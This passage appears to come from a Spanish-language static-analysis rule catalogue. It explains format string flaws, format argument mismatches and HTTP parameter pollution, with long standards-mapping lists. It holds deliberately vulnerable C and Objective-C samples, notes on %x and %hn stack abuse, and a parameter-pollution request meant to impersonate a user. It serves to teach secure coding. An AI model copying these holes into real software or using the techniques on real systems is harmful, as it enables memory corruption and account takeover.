[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 134
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754, CCI-002824
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1), SI-16 Memory Protection (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation, SI-16 Memory Protection
[16] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.4.2 Memory/String/Unmanaged Code Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 134
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.dataflow.cpp.format_string
Abstract
Un atacante puede controlar el argumento de cadena de formato que permite un ataque muy similar a un desbordamiento de búfer.
Explanation
Las vulnerabilidades de cadena de formato se producen cuando:

1. Los datos entran en la aplicación desde una fuente no confiable.



2. Los datos se pasan como argumento de cadena de formato a una función como sprintf(), FormatMessageW(), syslog(), NSLog o NSString.stringWithFormatEjemplo 1: el código siguiente utiliza un argumento de línea de comandos como una cadena de formato en NSString.stringWithFormat:.


int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}


Este código permite a un usuario malintencionado ver el contenido de la pila y dañarla mediante un argumento de línea de comandos que contenga una secuencia de directivas de formato. El atacante puede leer desde la pila proporcionando más directivas de formato como, por ejemplo, %x, que la función utiliza como argumentos a los que aplicar un formato. (En este ejemplo, la función no utiliza ningún argumento al que se le vaya aplicar un formato.)

Objective-C es compatible con las bibliotecas estándar de C heredadas, por lo que los ejemplos siguientes son aprovechables si la aplicación utiliza las API de C.

Ejemplo 2: determinadas implementaciones realizan ataques más avanzados de forma más fácil al proporcionar directivas de formato que controlan la ubicación en la memoria para leer esta o escribir en ella. A continuación se muestra un ejemplo de estas directivas con el siguiente código, escrito para glibc:


printf("%d %d %1$d %1$d\n", 5, 9);


Este código genera la siguiente salida:


5 9 5 5


También se pueden utilizan medias operaciones de escritura (%hn) para controlar elementos DWORDS arbitrarios en la memoria, lo que reduce considerablemente la complejidad necesaria para ejecutar un ataque que, de otro modo, requeriría cuatro operaciones de escritura escalonadas como la que se menciona en el Example 1.

Ejemplo 3: las vulnerabilidades de cadena de formato sencillo a menudo proceden de atajos aparentemente inofensivos. El uso de estos atajos está tan arraigado que es posible que los programadores ni siquiera se den cuenta de que la función que están utilizando espera un argumento de cadena de formato.

Por ejemplo, la función syslog() se usa a menudo de la siguiente forma:


...
syslog(LOG_ERR, cmdBuf);
...


Como el segundo parámetro en syslog() es una cadena de formato, todas las directivas de formato incluidas en cmdBuf se interpretan como se describe en el Example 1.

El siguiente código muestra un uso correcto de syslog():


...
syslog(LOG_ERR, "%s", cmdBuf);
...
Ejemplo 4: las clases principales de Apple proporcionan vías interesantes para explotar las vulnerabilidades de la cadena de formato.

Por ejemplo, la función String.stringByAppendingFormat() se usa a menudo de la siguiente forma:


...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...


stringByAppendingFormat analiza los caracteres de la cadena de formato contenidos en la NSString pasados a ella.

El siguiente código muestra un uso correcto de stringByAppendingFormat():


...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
References
[1] T. Newsham Format String Attacks Guardent, Inc.
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark complete
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[6] Standards Mapping - CIS Google Cloud Computing Platform Benchmark complete
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark complete
[9] Standards Mapping - Common Weakness Enumeration CWE ID 134
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754, CCI-002824
[11] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[12] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[13] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 0-3-1
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1), SI-16 Memory Protection (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation, SI-16 Memory Protection
[16] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.4.2 Memory/String/Unmanaged Code Requirements (L1 L2 L3)
[18] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[19] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[20] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[29] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[32] Standards Mapping - SANS Top 25 2011 Risky Resource Management - CWE ID 134
[33] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I, APSC-DV-002590 CAT I
[54] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[55] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.dataflow.objc.format_string
Abstract
El programa usa una cadena de formato incorrecto que tiene un número de especificadores de conversión distinto del de los argumentos de la función. Las cadenas de formato incorrecto pueden hacer que el programa lea datos fuera de los límites de la memoria asignada, lo que puede dar acceso a información confidencial, introducir un comportamiento incorrecto o bloquear el programa.
Explanation
El buffer overflow es probablemente la forma más conocida de vulnerabilidad de seguridad de software. La mayoría de los desarrolladores de software saben lo que es una vulnerabilidad de buffer overflow, pero a menudo este tipo de ataques contra las aplicaciones existentes y desarrolladas recientemente son aún bastante habituales. Parte del problema se debe a la amplia variedad de formas en las que puede producirse un buffer overflow y otra parte se debe a las técnicas proclives a errores que a menudo se utilizan para evitarlas.

En un ataque de buffer overflow clásico, el usuario malintencionado envía datos a un programa, que los almacena en un búfer de pila demasiado pequeño. El resultado es que se sobrescribe la información de la pila de llamadas, incluido el puntero de devolución de la función. Los datos establecen el valor del puntero de devolución para que, cuando se devuelva la función, esta transfiera el control al código malicioso incluido en los datos del usuario malintencionado.

Aunque este tipo de buffer overflow de pila aún es frecuente en algunas plataformas y comunidades de desarrolladores, existen diversos tipos adicionales de buffer overflow, incluidos los desbordamientos del búfer de montón y los errores por uno ("off-by-one"), entre otros. Hay una serie de libros excelentes que ofrecen información detallada sobre cómo funcionan los ataques de buffer overflow, incluidos "Bilding Secure Software" [1], "Writing Secure Code" [2] y "The Shellcoder's Handbook" [3].

En el nivel de código, las vulnerabilidades de buffer overflow normalmente conllevan la infracción de las presuposiciones de un programador. Muchas funciones de manipulación de la memoria de C y C++ no realizan la comprobación de límites y pueden traspasar fácilmente los límites asignados de los búferes en los que operan. Incluso las funciones limitadas como, por ejemplo, strncpy(), pueden provocar vulnerabilidades cuando se utilizan incorrectamente. La combinación de manipulación de memoria y presuposiciones erróneas acerca del tamaño y la formación de una unidad de datos es el motivo principal de la mayoría de desbordamientos del búfer.

En este caso, una cadena de formato construida incorrectamente provoca que el programa pueda acceder a valores fuera de los límites de la memoria asignada.

Ejemplo: el siguiente lee valores arbitrarios desde la pila porque el número de especificadores de formato no se corresponde con el número de argumentos transferidos a la función.

void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
References
[1] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[2] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[3] J. Koziol et al. The Shellcoder's Handbook: Discovering and Exploiting Security Holes John Wiley & Sons
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 126
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [1] CWE ID 119, [5] CWE ID 125
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [5] CWE ID 119, [4] CWE ID 125
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [3] CWE ID 125, [17] CWE ID 119
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [5] CWE ID 125, [19] CWE ID 119
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [7] CWE ID 125, [17] CWE ID 119
[14] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002824
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 1.3
[17] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-16 Memory Protection (P1)
[18] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-16 Memory Protection
[19] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[20] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[21] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-STORAGE-2
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[30] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 119
[34] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002590 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002590 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002590 CAT I
[55] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[56] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.internal.cpp.format_string_argument_number_mismatch
Abstract
El programa usa una cadena de formato incorrecto con especificadores de conversión que no corresponden a los tipos de argumentos transferidos a la función. Las cadenas incorrectas pueden hacer que el programa convierta valores incorrectamente y que lea o escriba fuera de los límites de memoria asignada, lo que introduciría un comportamiento incorrecto o bloquearía el programa.
Explanation
El buffer overflow es probablemente la forma más conocida de vulnerabilidad de seguridad de software. La mayoría de los desarrolladores de software saben lo que es una vulnerabilidad de buffer overflow, pero a menudo este tipo de ataques contra las aplicaciones existentes y desarrolladas recientemente son aún bastante habituales. Parte del problema se debe a la amplia variedad de formas en las que puede producirse un buffer overflow y otra parte se debe a las técnicas proclives a errores que a menudo se utilizan para evitarlas.

En un ataque de buffer overflow clásico, el usuario malintencionado envía datos a un programa, que los almacena en un búfer de pila demasiado pequeño. El resultado es que se sobrescribe la información de la pila de llamadas, incluido el puntero de devolución de la función. Los datos establecen el valor del puntero de devolución para que, cuando se devuelva la función, esta transfiera el control al código malicioso incluido en los datos del usuario malintencionado.

Aunque este tipo de buffer overflow de pila aún es frecuente en algunas plataformas y comunidades de desarrolladores, existen diversos tipos adicionales de buffer overflow, incluidos los desbordamientos del búfer de montón y los errores por uno ("off-by-one"), entre otros. Hay una serie de libros excelentes que ofrecen información detallada sobre cómo funcionan los ataques de buffer overflow, incluidos "Bilding Secure Software" [1], "Writing Secure Code" [2] y "The Shellcoder's Handbook" [3].

En el nivel de código, las vulnerabilidades de buffer overflow normalmente conllevan la infracción de las presuposiciones de un programador. Muchas funciones de manipulación de la memoria de C y C++ no realizan la comprobación de límites y pueden traspasar fácilmente los límites asignados de los búferes en los que operan. Incluso las funciones limitadas como, por ejemplo, strncpy(), pueden provocar vulnerabilidades cuando se utilizan incorrectamente. La combinación de manipulación de memoria y presuposiciones erróneas acerca del tamaño y la formación de una unidad de datos es el motivo principal de la mayoría de desbordamientos del búfer.

En este caso, una cadena de formato construida incorrectamente provoca que el programa convierta incorrectamente valores de datos o que tenga acceso a valores fuera de los límites de la memoria asignada.

Ejemplo: el código siguiente convierte incorrectamente f desde un flotador usando un especificador de formato %d.


void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
References
[1] J. Viega, G. McGraw Building Secure Software Addison-Wesley
[2] M. Howard, D. LeBlanc Writing Secure Code, Second Edition Microsoft Press
[3] J. Koziol et al. The Shellcoder's Handbook: Discovering and Exploiting Security Holes John Wiley & Sons
[4] Standards Mapping - CIS Azure Kubernetes Service Benchmark 2.0
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 3.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark normal
[8] Standards Mapping - Common Weakness Enumeration CWE ID 125, CWE ID 787
[9] Standards Mapping - Common Weakness Enumeration Top 25 2019 [1] CWE ID 119, [5] CWE ID 125, [12] CWE ID 787
[10] Standards Mapping - Common Weakness Enumeration Top 25 2020 [5] CWE ID 119, [4] CWE ID 125, [2] CWE ID 787
[11] Standards Mapping - Common Weakness Enumeration Top 25 2021 [1] CWE ID 787, [3] CWE ID 125, [17] CWE ID 119
[12] Standards Mapping - Common Weakness Enumeration Top 25 2022 [1] CWE ID 787, [5] CWE ID 125, [19] CWE ID 119
[13] Standards Mapping - Common Weakness Enumeration Top 25 2023 [1] CWE ID 787, [7] CWE ID 125, [17] CWE ID 119
[14] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002824
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C Guidelines 2012 Rule 10.3
[17] Standards Mapping - Motor Industry Software Reliability Association (MISRA) C++ Guidelines 2008 Rule 5-0-3
[18] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-16 Memory Protection (P1)
[19] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-16 Memory Protection
[20] Standards Mapping - OWASP Top 10 2004 A5 Buffer Overflow
[21] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[22] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.5
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.2
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.2
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.2
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.2
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[31] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - SANS Top 25 2009 Risky Resource Management - CWE ID 119
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3560 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3560 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3560 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3560 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3560 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3560 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3560 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002590 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002590 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002590 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002590 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002590 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002590 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002590 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002590 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002590 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002590 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002590 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002590 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002590 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002590 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 Format String (WASC-06)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 Format String Attack
desc.internal.cpp.format_string_argument_type_mismatch
Abstract
La concatenación de entradas sin validar en una dirección URL puede permitir a un usuario malintencionado anular el valor de un parámetro de solicitud. El usuario malintencionado puede anular los valores de los parámetros existentes, inyectar un nuevo parámetro o atacar las variables fuera de un alcance directo.
Explanation
Los ataques HPP (HTTP Parameter Pollution) consisten en inyectar delimitadores de cadenas de consulta codificados en otros parámetros existentes. Si una aplicación web no corrige adecuadamente la entrada del usuario, un usuario malintencionado puede poner en peligro la lógica de la aplicación para llevar a cabo ataques del lado de cliente o del servidor. Mediante el envío de parámetros adicionales a una aplicación web y si estos parámetros tienen el mismo nombre que un parámetro existente, la aplicación web puede reaccionar de una de las siguientes maneras:

Solo puede obtener los datos del primer parámetro
Puede obtener los datos del último parámetro
Puede obtener los datos de todos los parámetros y concatenarlos juntos


Por ejemplo:
- ASP.NET/IIS utiliza todas las apariciones de los parámetros
- Apache Tomcat utiliza solo la primera aparición e ignora las demás.
- mod_perl/Apache convierte el valor en una matriz de valores

Ejemplo 1: según el servidor de aplicaciones y la lógica de la propia aplicación, la siguiente solicitud podría provocar confusión en el sistema de autenticación y permitir que un atacante suplante a otro usuario.
http://www.server.com/login.aspx?name=alice&name=hacker

Ejemplo 2: el siguiente código utiliza la entrada de una solicitud HTTP para representar dos hipervínculos.

...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...


URL: http://www.host.com/election.aspx?poll_id=4567
